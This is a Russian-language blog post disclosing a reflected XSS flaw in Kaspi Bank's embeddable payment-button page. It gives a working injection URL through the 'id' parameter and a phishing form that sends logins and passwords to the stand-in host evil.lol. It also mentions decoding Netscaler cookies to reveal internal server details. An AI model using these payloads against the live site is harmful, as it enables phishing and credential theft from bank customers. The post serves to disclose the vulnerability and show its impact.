caspicasoft

Web developer
HomeAbout

Уязвимость в Kaspi Bank 2 (XSS)

Сегодня расскажем об очередном XSS на сайте банка. Предыдущий пост про Kaspi можно прочитать здесь.

XSS (cross site scripting) или межсайтовый скриптинг - это серьезная уязвимость. Простыми словами, на вашем сайте (без вашего разрешения) выполняется чужой код. То есть, кто-то может контролировать что делает или видит пользователь вашего сайта!

Часто на сайтах интернет-магазинов можно увидеть вот такую кнопку от Kaspi банка. Здесь также показан ответ от сервера банка. image

Сама кнопка отображается с помощью <iframe>; ссылка выглядит так:

hxxps://kaspi.kz/kaspibutton/frame?template=button&merchantSku= 00000014673&merchantCode=XXXXX&city=000000&id=ks-xxxxx

Параметры template, id и т.д. отображаются на странице без соответствующей обработки. Это значит, что мы можем вставить любой HTML/JS код. Пример c alert():

hxxps://kaspi.kz/kaspibutton/frame?template=button&id=kaspi%27};alert%28document.domain%29;var%20a={aa:%27c

image Результат для пользователя: image

Что могут сделать мошенники через XSS? Привидем пример фишинг страницы на сайте банка через document.write(). image

Код создает такую форму:

<form action=//evil.lol><input name=“login”><input name=“password”></form>

image

Когда пользователь заполнит и отправит форму, мошенникам остается только посмотреть логи сервера на evil.lol. Там будет вся необходимая информация. Результат после нажатия кнопки Login to Kaspi: image

Как мы видим, нельзя недооценивать последствия вставки кода. Надеюсь, что данное утверждение будет верным. image

P.S.
Похоже, что этот сервер использует Citrix Netscaler. Вы получаете шифрованный куки NSC_xxxx.xxxxx который можно расшифровать с помощью этого скрипта чтобы извлечь имя хоста, порт и внутренний IP сервера. Not bad.